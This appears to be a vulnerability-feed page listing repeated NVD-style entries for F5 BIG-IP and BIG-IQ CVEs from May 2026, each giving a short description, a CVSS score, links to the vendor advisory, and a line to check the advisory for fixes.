NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When a BIG-IP is configured with DNS caching  (Such as a DNS profile with caching enabled, SSL Orchestrator, Advanced WAF DoS protection), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in iControl REST and the TMOS Shell (tmsh) where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects...
https://kevwire.com/record/CVE-2026-39459
A vulnerability exists in iControl REST and the TMOS Shell (tmsh) where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects... (May 13, 2026).
A vulnerability exists in iControl REST and the TMOS Shell (tmsh) where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39459).
Sources:
NVD CVE-2026-39459: https://nvd.nist.gov/vuln/detail/CVE-2026-39459
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability exists in iControl REST and the TMOS Shell (tmsh) where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a BIG-IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate.
https://kevwire.com/record/CVE-2026-40060
When a BIG-IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate. (May 13, 2026).
When a BIG-IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate. 

 


Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40060).
Sources:
NVD CVE-2026-40060: https://nvd.nist.gov/vuln/detail/CVE-2026-40060
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160727
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When a BIG-IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate. 

 


Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the...
https://kevwire.com/record/CVE-2026-40061
When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the... (May 13, 2026).
When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40061).
Sources:
NVD CVE-2026-40061: https://nvd.nist.gov/vuln/detail/CVE-2026-40061
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160788
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When BIG-IP DNS is provisioned, a vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a BIG-IP APM access policy is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.
https://kevwire.com/record/CVE-2026-40067
When a BIG-IP APM access policy is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate. (May 13, 2026).
When a BIG-IP APM access policy is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40067).
Sources:
NVD CVE-2026-40067: https://nvd.nist.gov/vuln/detail/CVE-2026-40067
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161056
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When a BIG-IP APM access policy is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a SIP profile is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.
https://kevwire.com/record/CVE-2026-40423
When a SIP profile is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. (May 13, 2026).
When a SIP profile is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40423).
Sources:
NVD CVE-2026-40423: https://nvd.nist.gov/vuln/detail/CVE-2026-40423
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161023
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When a SIP profile is configured on a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive...
https://kevwire.com/record/CVE-2026-40462
Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive... (May 13, 2026).
Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40462).
Sources:
NVD CVE-2026-40462: https://nvd.nist.gov/vuln/detail/CVE-2026-40462
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000156581
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Incorrect permission assignment vulnerabilities exist in iControl REST and TMOS shell (tmsh) undisclosed command which may allow an authenticated attacker to view sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When an SSL profile is configured on a virtual server on BIG-IP Virtual Edition (VE) without Intel QuickAssist Technology (QAT) or on BIG-IP hardware platforms with the database...
https://kevwire.com/record/CVE-2026-40618
When an SSL profile is configured on a virtual server on BIG-IP Virtual Edition (VE) without Intel QuickAssist Technology (QAT) or on BIG-IP hardware platforms with the database... (May 13, 2026).
When an SSL profile is configured on a virtual server on BIG-IP Virtual Edition (VE) without Intel QuickAssist Technology (QAT) or on BIG-IP hardware platforms with the database variable crypto.hwacceleration set to disabled, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40618).
Sources:
NVD CVE-2026-40618: https://nvd.nist.gov/vuln/detail/CVE-2026-40618
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000158082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When an SSL profile is configured on a virtual server on BIG-IP Virtual Edition (VE) without Intel QuickAssist Technology (QAT) or on BIG-IP hardware platforms with the database variable crypto.hwacceleration set to disabled, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When SSL profiles are configured on a virtual server, undisclosed traffic can cause the virtual server to stop processing new client connections.
https://kevwire.com/record/CVE-2026-40629
When SSL profiles are configured on a virtual server, undisclosed traffic can cause the virtual server to stop processing new client connections. (May 13, 2026).
When SSL profiles are configured on a virtual server, undisclosed traffic can cause the virtual server to stop processing new client connections.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40629).
Sources:
NVD CVE-2026-40629: https://nvd.nist.gov/vuln/detail/CVE-2026-40629
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000158978
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When SSL profiles are configured on a virtual server, undisclosed traffic can cause the virtual server to stop processing new client connections.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation.
https://kevwire.com/record/CVE-2026-40631
An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation. (May 13, 2026).
An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40631).
Sources:
NVD CVE-2026-40631: https://nvd.nist.gov/vuln/detail/CVE-2026-40631
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160979
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration...
https://kevwire.com/record/CVE-2026-40698
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration... (May 13, 2026).
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration objects through iControl REST or the TMOS shell (tmsh) resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40698).
Sources:
NVD CVE-2026-40698: https://nvd.nist.gov/vuln/detail/CVE-2026-40698
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160981
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration objects through iControl REST or the TMOS shell (tmsh) resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in the undisclosed pages in the Configuration utility that may allow a low-privileged authenticated attacker to access to undisclosed sensitive information.
https://kevwire.com/record/CVE-2026-40699
A vulnerability exists in the undisclosed pages in the Configuration utility that may allow a low-privileged authenticated attacker to access to undisclosed sensitive information. (May 13, 2026).
A vulnerability exists in the undisclosed pages in the Configuration utility that may allow a low-privileged authenticated attacker to access to undisclosed sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40699).
Sources:
NVD CVE-2026-40699: https://nvd.nist.gov/vuln/detail/CVE-2026-40699
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000156734
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability exists in the undisclosed pages in the Configuration utility that may allow a low-privileged authenticated attacker to access to undisclosed sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute...
https://kevwire.com/record/CVE-2026-41217
A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute... (May 13, 2026).
A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41217).
Sources:
NVD CVE-2026-41217: https://nvd.nist.gov/vuln/detail/CVE-2026-41217
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When BIG-IP PEM iRules are configured on a virtual server (iRules using commands starting with CLASSIFICATION::, CLASSIFY::, PEM::, PSC::, and the urlcatquery command),...
https://kevwire.com/record/CVE-2026-41218
When BIG-IP PEM iRules are configured on a virtual server (iRules using commands starting with CLASSIFICATION::, CLASSIFY::, PEM::, PSC::, and the urlcatquery command),... (May 13, 2026).
When BIG-IP PEM iRules are configured on a virtual server (iRules using commands starting with CLASSIFICATION::, CLASSIFY::, PEM::, PSC::, and the urlcatquery command), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41218).
Sources:
NVD CVE-2026-41218: https://nvd.nist.gov/vuln/detail/CVE-2026-41218
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160875
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
When BIG-IP PEM iRules are configured on a virtual server (iRules using commands starting with CLASSIFICATION::, CLASSIFY::, PEM::, PSC::, and the urlcatquery command), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper sanitization vulnerability exists in the BIG-IP QKView utility that allows a low-privileged attacker to read sensitive information from a QKView file.
https://kevwire.com/record/CVE-2026-41219
An improper sanitization vulnerability exists in the BIG-IP QKView utility that allows a low-privileged attacker to read sensitive information from a QKView file. (May 13, 2026).
An improper sanitization vulnerability exists in the BIG-IP QKView utility that allows a low-privileged attacker to read sensitive information from a QKView file.  


Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41219).
Sources:
NVD CVE-2026-41219: https://nvd.nist.gov/vuln/detail/CVE-2026-41219
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000157895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
An improper sanitization vulnerability exists in the BIG-IP QKView utility that allows a low-privileged attacker to read sensitive information from a QKView file.  


Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in iControl REST where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running...
https://kevwire.com/record/CVE-2026-41225
A vulnerability exists in iControl REST where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running... (May 13, 2026).
A vulnerability exists in iControl REST where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41225).
Sources:
NVD CVE-2026-41225: https://nvd.nist.gov/vuln/detail/CVE-2026-41225
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160916
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability exists in iControl REST where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### On an HTTP/2 virtual server with Layer 7 DoS Protection configured, undisclosed traffic can result in an increase in memory consumption causing the Traffic Management Microkernel...
https://kevwire.com/record/CVE-2026-41227
On an HTTP/2 virtual server with Layer 7 DoS Protection configured, undisclosed traffic can result in an increase in memory consumption causing the Traffic Management Microkernel... (May 13, 2026).
On an HTTP/2 virtual server with Layer 7 DoS Protection configured, undisclosed traffic can result in an increase in memory consumption causing the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41227).
Sources:
NVD CVE-2026-41227: https://nvd.nist.gov/vuln/detail/CVE-2026-41227
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000158979
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
On an HTTP/2 virtual server with Layer 7 DoS Protection configured, undisclosed traffic can result in an increase in memory consumption causing the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
